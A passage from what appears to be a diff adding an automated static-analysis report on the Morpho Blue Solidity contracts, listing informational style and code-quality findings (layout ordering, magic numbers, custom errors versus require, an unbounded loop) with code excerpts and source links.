+99: return bytes32(uint256(keccak256(abi.encode(id, ID_TO_MARKET_PARAMS_SLOT))) + ORACLE_OFFSET);
+100: }
+
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+103: return bytes32(uint256(keccak256(abi.encode(id, ID_TO_MARKET_PARAMS_SLOT))) + IRM_OFFSET);
+104: }
+
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+107: return bytes32(uint256(keccak256(abi.encode(id, ID_TO_MARKET_PARAMS_SLOT))) + LLTV_OFFSET);
+108: }
+
+```
+
+[41-43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41-L43), [45-47](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L45-L47), [49-53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49-L53), [55-60](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55-L60), [62-64](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62-L64), [66-68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66-L68), [70-72](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70-L72), [74-76](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74-L76), [78-80](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78-L80), [82-84](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82-L84), [86-88](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86-L88), [90-92](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90-L92), [94-96](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94-L96), [98-100](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98-L100), [102-104](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102-L104), [106-108](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106-L108)
+
+
+
+### Setters should prevent re-setting of the same value
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+This especially problematic when the setter also emits the same value, which may be confusing to offline parsers
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit isAuthorized
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+```
+
+[428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428)
+
+
+
+### Contract does not follow the Solidity style guide's suggested layout ordering
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The [style guide](https://docs.soliditylang.org/en/v0.8.16/style-guide.html#order-of-layout)says that, within a contract, the ordering should be 1) Type declarations, 2) State variables, 3) Events, 4) Modifiers, and 5) Functions, but the contract(s) below do not follow this ordering
+
+*Instances (15)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+39: using MathLib for uint128;
+
+40: using MathLib for uint256;
+
+41: using UtilsLib for uint256;
+
+42: using SharesMathLib for uint256;
+
+43: using SafeTransferLib for IERC20;
+
+44: using MarketParamsLib for MarketParams;
+
+75: constructor(address newOwner) {
+
+87: modifier onlyOwner() {
+
+```
+
+[39](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L39), [40](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L40), [41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L41), [42](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L42), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L43), [44](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L44), [75](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L75), [87](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L87)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+13: using MathLib for uint256;
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L13)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+21: using MathLib for uint256;
+
+22: using MathLib for uint128;
+
+23: using UtilsLib for uint256;
+
+24: using MorphoLib for IMorpho;
+
+25: using SharesMathLib for uint256;
+
+26: using MarketParamsLib for MarketParams;
+
+```
+
+[21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L21), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L22), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L23), [24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L24), [25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L25), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L26)
+
+
+
+
+### Function ordering does not follow the Solidity style guide
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+According to the Solidity style guide, functions should be laid out in the following order :`constructor()`, `receive()`, `fallback()`, `external`, `public`, `internal`, `private`, but the cases below do not follow this pattern
+
+*Instances (6)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit accrueInterest(external), extSloads(external) came after
+455: function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+
+/// @audit _isSenderAuthorized(internal) came earlier
+462: function accrueInterest(MarketParams memory marketParams) external {
+
+/// @audit extSloads(external) came after
+471: function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+
+/// @audit extSloads(external) came after
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+
+/// @audit extSloads(external) came after
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+
+/// @audit _isSenderAuthorized(internal), _accrueInterest(internal), _isHealthy(internal), _isHealthy(internal) came earlier
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[455](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L455), [462](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L462), [471](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471), [501](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501), [513](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+
+
+### Top level declarations should be separated by two blank lines
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (34)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+2: pragma solidity 0.8.19;
+3:
+4: import {
+
+32: import {SafeTransferLib} from "./libraries/SafeTransferLib.sol";
+33:
+34: /// @title Morpho
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L2-L4), [32-34](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L32-L34)
+
+```solidity
+File: src/interfaces/IERC20.sol
+
+2: pragma solidity >=0.5.0;
+3:
+4: /// @title IERC20
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L2-L4)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+2: pragma solidity >=0.5.0;
+3:
+4: import {MarketParams, Market} from "./IMorpho.sol";
+
+4: import {MarketParams, Market} from "./IMorpho.sol";
+5:
+6: /// @title IIrm
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L4-L6)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+2: pragma solidity >=0.5.0;
+3:
+4: type Id is bytes32;
+
+290: }
+291:
+292: /// @dev This interface is inherited by Morpho so that function signatures are checked by the compiler.
+
+327: }
+328:
+329: /// @title IMorpho
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L2-L4), [290-292](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L290-L292), [327-329](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L327-L329)
+
+```solidity
+File: src/interfaces/IMorphoCallbacks.sol
+
+2: pragma solidity >=0.5.0;
+3:
+4: /// @title IMorphoLiquidateCallback
+
+12: }
+13:
+14: /// @title IMorphoRepayCallback
+
+22: }
+23:
+24: /// @title IMorphoSupplyCallback
+
+32: }
+33:
+34: /// @title IMorphoSupplyCollateralCallback
+
+42: }
+43:
+44: /// @title IMorphoFlashLoanCallback
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L2-L4), [12-14](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L12-L14), [22-24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L22-L24), [32-34](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L32-L34), [42-44](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L42-L44)
+
+```solidity
+File: src/interfaces/IOracle.sol
+
+2: pragma solidity >=0.5.0;
+3:
+4: /// @title IOracle
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L2-L4)
+
+```solidity
+File: src/libraries/ConstantsLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: /// @dev The maximum fee a market can have (25%).
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L2-L4)
+
+```solidity
+File: src/libraries/ErrorsLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: /// @title ErrorsLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ErrorsLib.sol#L2-L4)
+
+```solidity
+File: src/libraries/EventsLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {Id, MarketParams} from "../interfaces/IMorpho.sol";
+
+4: import {Id, MarketParams} from "../interfaces/IMorpho.sol";
+5:
+6: /// @title EventsLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L4-L6)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {Id, MarketParams} from "../interfaces/IMorpho.sol";
+
+4: import {Id, MarketParams} from "../interfaces/IMorpho.sol";
+5:
+6: /// @title MarketParamsLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L4-L6)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: uint256 constant WAD = 1e18;
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L2-L4)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {IERC20} from "../interfaces/IERC20.sol";
+
+6: import {ErrorsLib} from "../libraries/ErrorsLib.sol";
+7:
+8: interface IERC20Internal {
+
+11: }
+12:
+13: /// @title SafeTransferLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L2-L4), [6-8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L6-L8), [11-13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L11-L13)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {MathLib} from "./MathLib.sol";
+
+4: import {MathLib} from "./MathLib.sol";
+5:
+6: /// @title SharesMathLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L4-L6)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {ErrorsLib} from "../libraries/ErrorsLib.sol";
+
+4: import {ErrorsLib} from "../libraries/ErrorsLib.sol";
+5:
+6: /// @title UtilsLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L4-L6)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {Id, MarketParams, Market, IMorpho} from "../../interfaces/IMorpho.sol";
+
+11: import {MarketParamsLib} from "../MarketParamsLib.sol";
+12:
+13: /// @title MorphoBalancesLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L2-L4), [11-13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L11-L13)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {IMorpho, Id} from "../../interfaces/IMorpho.sol";
+
+5: import {MorphoStorageLib} from "./MorphoStorageLib.sol";
+6:
+7: /// @title MorphoLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L2-L4), [5-7](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L5-L7)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+2: pragma solidity ^0.8.0;
+3:
+4: import {Id} from "../../interfaces/IMorpho.sol";
+
+4: import {Id} from "../../interfaces/IMorpho.sol";
+5:
+6: /// @title MorphoStorageLib
+
+```
+
+[2-4](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L2-L4), [4-6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L4-L6)
+
+
+
+
+### Unbounded loop may run out of gas
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Some parts of the codebase use require statements, while others use custom errors. Consider refactoring the code to use the same approach: the following findings represent the minority of require vs error, and they show the first occurance in each file, for brevity.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+535: for (uint256 i; i < nSlots;) {
+
+```
+
+[535](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L535)
+
+
+
+### `Constant`s should be defined rather than using magic numbers
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Even [assembly](https://github.com/code-423n4/2022-05-opensea-seaport/blob/9d7ce4d08bf3c3010304a0476a785c70c0e90ae7/contracts/lib/TokenTransferrer.sol#L35-L39)can benefit from using readable constants instead of hex/numeric literals
+
+*Instances (5)*:
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit 3
+41: uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+```
+
+[41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L41)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit 128
+25: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+/// @audit 128
+35: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+/// @audit 128
+45: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+/// @audit 128
+55: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+```
+
+[25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L25), [35](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L35), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L45), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L55)
+
+
+
+### Custom errors should be used rather than `revert()`/`require()`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Custom errors are available from solidity version 0.8.4. Custom errors are more easily processed in `try-catch` blocks, and are easier to re-use and maintain.
+
+*Instances (50)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+76: require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+
+88: require(msg.sender == owner, ErrorsLib.NOT_OWNER);
+
+96: require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+105: require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+114: require(!isLltvEnabled[lltv], ErrorsLib.ALREADY_SET);
+
+115: require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+
+125: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+126: require(newFee != market[id].fee, ErrorsLib.ALREADY_SET);
+
+127: require(newFee <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);
+
+140: require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+152: require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+
+153: require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+
+154: require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+174: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+175: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+
+176: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+205: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+206: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+
+207: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+
+209: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+220: require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+240: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+241: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+
+242: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+
+244: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+255: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+
+256: require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+274: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+275: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+
+276: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+304: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+305: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+
+306: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+324: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+325: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+
+326: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+
+328: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+334: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+
+352: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+353: require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+359: require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+436: require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+
+437: require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+443: require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+464: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+```
+
+[76](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L76), [88](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L88), [96](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L96), [105](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L105), [114](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L114), [115](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L115), [125](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L125), [126](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L126), [127](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L127), [140](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L140), [152](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L152), [153](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L153), [154](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L154), [174](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L174), [175](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L175), [176](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L176), [205](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L205), [206](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L206), [207](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L207), [209](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L209), [220](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L220), [240](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L240), [241](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L241), [242](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L242), [244](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L244), [255](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L255), [256](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L256), [274](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L274), [275](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L275), [276](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L276), [304](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L304), [305](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L305), [306](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L306), [324](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L324), [325](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L325), [326](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L326), 